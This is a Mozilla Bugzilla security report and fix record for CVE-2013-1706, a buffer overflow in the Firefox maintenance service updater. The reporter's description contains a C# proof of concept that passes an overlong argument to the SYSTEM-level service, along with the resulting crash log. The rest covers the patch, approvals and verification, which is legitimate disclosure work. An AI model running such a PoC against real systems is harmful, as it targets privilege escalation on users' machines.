Closed
Bug 888361
(CVE-2013-1706)
Opened 11 years ago
Closed 11 years ago
Buffer overflow in WriteStatusFailure in maintenanceservice.exe
Categories
(Toolkit :: Application Update, defect)
Tracking
()
RESOLVED
FIXED
mozilla25
People
(Reporter: sebbity, Assigned: bbondy)
References
Details
(Keywords: csectype-bounds, reporter-external, sec-high, Whiteboard: [adv-main23+][adv-esr1708+])
Attachments
(2 files)
3.25 KB,
application/zip
|
Details | |
12.55 KB,
patch
|
robert.strong.bugs
:
review+
lsblakk
:
approval-mozilla-aurora+
lsblakk
:
approval-mozilla-beta+
lsblakk
:
approval-mozilla-esr17+
abillings
:
sec-approval+
|
Details | Diff | Splinter Review |
The WriteStatusFailure function in updatehelper.cpp fails to check the length of the update directory path provided before copying it into a string with a buffer of only MAX_PATH+1 length (http://hg.mozilla.org/mozilla-central/file/942686767e5e/toolkit/mozapps/update/common/updatehelper.cpp#l396). The maintenance service passes a user-provided argument directly into this function, which leads to a buffer overflow and potential arbitrary code execution with SYSTEM privileges. C# Proof-of-concept: using System; using System.ServiceProcess; namespace WriteStatusBufferOverflow { class Program { static void Main(string[] args) { try { ServiceController c = new ServiceController("MozillaMaintenance"); c.Start(new string[] { "aaa", "software-update", @"c:\program files (x86)\Mozilla Firefox\updater.exe", (new String('A',999)) }); } catch (Exception e) { Console.WriteLine(e); } } } } Replicated on Windows 7 x64 with maintenanceservice.exe version 23.0.0.4923. The result is an entry in the Windows application event log that looks similar to this: Faulting application name: maintenanceservice.exe, version: 23.0.0.4923, time stamp: 0x51c81b22 Faulting module name: maintenanceservice.exe, version: 23.0.0.4923, time stamp: 0x51c81b22 Exception code: 0xc0000409 Fault offset: 0x00004628 Faulting process id: 0x3728 Faulting application start time: 0x01ce74230b086bb8 Faulting application path: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe Faulting module path: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe ... Have attached a compiled proof-of-concept, let me know if you need any further details.
Reporter | ||
Comment 1•11 years ago
|
||
Note: WriteStatusPending in updatehelper.cpp is vulnerable as well, but doesn't appear to be exploitable for privilege escalation.
Comment 2•11 years ago
|
||
wcscpy()?! ALWAYS use the 'n' versions (e.g. wcsncpy) if there's no explicit length check otherwise.
Assignee: nobody → netzen
status-b2g18:
--- → unaffected
status-firefox22:
--- → wontfix
status-firefox23:
--- → affected
status-firefox24:
--- → affected
status-firefox25:
--- → affected
status-firefox-esr17:
--- → affected
tracking-firefox23:
--- → +
tracking-firefox24:
--- → +
tracking-firefox25:
--- → +
tracking-firefox-esr17:
--- → 23+
Flags: sec-bounty?
Keywords: csec-bounds,
sec-high
Assignee | ||
Comment 3•11 years ago
|
||
There are still a few cases of NS_tstrcpy we should also get rid of but this gets rid of all of the wcscpy in updater code.
Attachment #769173 -
Flags: review?(robert.bugzilla)
![]() |
||
Comment 4•11 years ago
|
||
Comment on attachment 769173 [details] [diff] [review] Patch v1. I haven't looked at anything but this patch and will try to look over the code for other cases hopefully by Tuesday. The last time we reviewed the updater.cpp for this type of problem it was determined that it wouldn't get us in trouble but go ahead and file a bug for NS_tstrcpy.
Attachment #769173 -
Flags: review?(robert.bugzilla) → review+
Assignee | ||
Comment 5•11 years ago
|
||
Comment on attachment 769173 [details] [diff] [review] Patch v1. Requesting approval to land on try, oak, and m-i. [Security approval request comment] How easily could an exploit be constructed based on the patch? A crash easily, I'm not sure how easy it is to execute something elevated. Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem? No comments, but the content of the patch seems somewhat obvious what it's fixing. Which older supported branches are affected by this flaw? All for at least 10 versions. If not all supported branches, which bug introduced the flaw? bug 481815 Do you have backports for the affected branches? If not, how different, hard to create, and risky will they be? Should be the same patch everywhere. How likely is this patch to cause regressions; how much testing does it need? Not likely after I test on oak.
Attachment #769173 -
Flags: sec-approval?
Comment 6•11 years ago
|
||
Comment on attachment 769173 [details] [diff] [review] Patch v1. sec-approval+ for trunk. We should take this downstream on branches and get this out in the next release. We've fixed enough maintenance service and updater issues now that smart people would be looking for more.
Attachment #769173 -
Flags: sec-approval? → sec-approval+
Assignee | ||
Comment 7•11 years ago
|
||
(In reply to Al Billings [:abillings] from comment #6) > Comment on attachment 769173 [details] [diff] [review] > Patch v1. > > sec-approval+ for trunk. We should take this downstream on branches and get > this out in the next release. We've fixed enough maintenance service and > updater issues now that smart people would be looking for more. Agreed although I think it's already a target for smart people given that updater and installer are the only places we execute code in an elevated context on Windows.
Assignee | ||
Comment 8•11 years ago
|
||
https://hg.mozilla.org/integration/mozilla-inbound/rev/d2df630c6f11
Assignee | ||
Updated•11 years ago
|
Target Milestone: --- → mozilla25
Comment 9•11 years ago
|
||
https://hg.mozilla.org/mozilla-central/rev/d2df630c6f11
Status: NEW → RESOLVED
Closed: 11 years ago
Resolution: --- → FIXED
Updated•11 years ago
|
Flags: sec-bounty? → sec-bounty+
Assignee | ||
Comment 11•11 years ago
|
||
Comment on attachment 769173 [details] [diff] [review] Patch v1. [Approval Request Comment] If this is not a sec:{high,crit} bug, please state case for ESR consideration: User impact if declined: It is a sec:high A process that already has local access could potentially get elevated access. Buffer overflow, someone could write into process memory and possibly cause it to jump to execute their own code Bug caused by (feature/regressing bug #): bug 481815 Fix Landed on Version: mozilla25 Risk to taking this patch (and alternatives if risky): Low String or UUID changes made by this patch: None See https://wiki.mozilla.org/Release_Management/ESR_Landing_Process for more info.
Attachment #769173 -
Flags: approval-mozilla-esr17?
Attachment #769173 -
Flags: approval-mozilla-beta?
Attachment #769173 -
Flags: approval-mozilla-aurora?
Updated•11 years ago
|
Attachment #769173 -
Flags: approval-mozilla-esr17?
Attachment #769173 -
Flags: approval-mozilla-esr17+
Attachment #769173 -
Flags: approval-mozilla-beta?
Attachment #769173 -
Flags: approval-mozilla-beta+
Attachment #769173 -
Flags: approval-mozilla-aurora?
Attachment #769173 -
Flags: approval-mozilla-aurora+
Assignee | ||
Comment 12•11 years ago
|
||
https://hg.mozilla.org/releases/mozilla-beta/rev/42bf5244cbf3 https://hg.mozilla.org/releases/mozilla-aurora/rev/3623473e7948 https://hg.mozilla.org/releases/mozilla-esr17/rev/683456dd2a52
Updated•11 years ago
|
Whiteboard: [adv-main23+][adv-esr1708+]
Updated•11 years ago
|
Alias: CVE-2013-1706
Comment 13•11 years ago
|
||
Hi Seb, I'd like to verify this bug fixed using your PoC files and our latest FF builds. Can you provide step-by-step instructions on how to see this in action, so that I can verify the original problem and the fix? Thank you from the Mozilla QA department.
Comment 14•11 years ago
|
||
Seb sent me instructions in an email, so with that help, we could verify. Confirmed issue using 17.0.7esr, and FF22. Confirmed fixed using 17.0.8esr candidate, FF23 candidate and today's m-c nightly.
Updated•10 years ago
|
Group: core-security
Updated•3 months ago
|
Keywords: reporter-external
You need to log in
before you can comment on or make changes to this bug.
Description
•